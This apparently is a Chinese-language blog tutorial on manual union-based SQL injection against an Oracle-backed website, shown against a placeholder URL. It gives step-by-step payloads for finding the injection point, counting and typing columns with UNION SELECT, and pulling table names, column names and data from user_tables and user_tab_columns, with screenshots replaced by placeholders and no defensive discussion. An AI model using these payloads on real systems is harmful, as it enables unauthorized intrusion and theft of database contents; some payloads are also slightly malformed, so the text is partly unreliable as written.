oracle数据库注入实战

url:http://xxx.com/ID=1010
1.检查注入点以及数据库类型。url后加’
http://xxx.com/ID=1010’
这里写图片描述
报错,可推断ID为注入点。ORA-xxxxx这种类型为oracle特有报错方式,所以判断为数据库oracle。
2.判断字段个数。
url后加’ order by number–
这里写图片描述
到8能正常显示,故字段数为8.
3.确定每个字段类型。
技巧1:dual表和user_tables表是oracle中的系统表。
技巧2:确定字段类型使用union语句,union操作符用于合并两个或者多个select语句的字符集
(1)union内部的select语句必须拥有相同的列
(2)列也必须拥有相同的数据类型
(3)每条select语句中的列顺序必须相同
null默认匹配所有字段’null’匹配字符类型
‘union select null,null,null,null,null,null,null,null from user_tables–
这里写图片描述
对每一位判断是数字型还是字符型,对相判断的那一位改成’null’,若是字符型则界面返回null;否则是数字型
这里写图片描述
将所有类型判断出来后,将数字和字符带入,因为不是每一个类型都是数字和字符型,比如说时间类型等。
这里写图片描述
综上可以判断出1,2,7,8为数字,3,4,5为字符,第六位为其他类型:
这里写图片描述
4.显示union后查询结果
利用and 1=2 union 1,2,’3’,’4’,5 fromuser_tables
1,2,3,4,5位置对印的是之前查询各个字符串的位置,在union语句添加and 1=2使一句正常查询无返回结果,此时1,2,3,4,5会对应显示在现实解密那替换元查询结果,这样一来可以大致确定每一个元素的作用,比如字段1是题目等等。
这里需提到的思想是,表单里的每一个字段都是组成Web页面的元素之一。
5.获取表名。
现在知道了有几个字段,每个字段存储的功能,但是我们仍不知道名字,所以将union后的某一查询数字替换,替换成table_name,可以得到表名。
6.获取表的字段数量
方法是比较判断查询。
这里写图片描述
7.查询目标名称-字段名
变换rownum大小获取自短信息,rownum的值是上一步获取到的字段数量。
http://xxx.com/ID=1010’ and 1=2 union select 1,2,column_name,’4’,’5’,null,7,1 from (select * from (select column_name from user_tab_columns where table_name=’表名’ order by 1 asc)where rownum <= 3 order by 1 desc) where rownum<=1–
这样可以得到字段名,再将其带入 http://xxx.com/ID=1010’ and 1=2 union select 1,2,’3’,’4’,’5’,null,7,1 from 数据库 可以得到目标数据。

你可能感兴趣的:(sql,injection)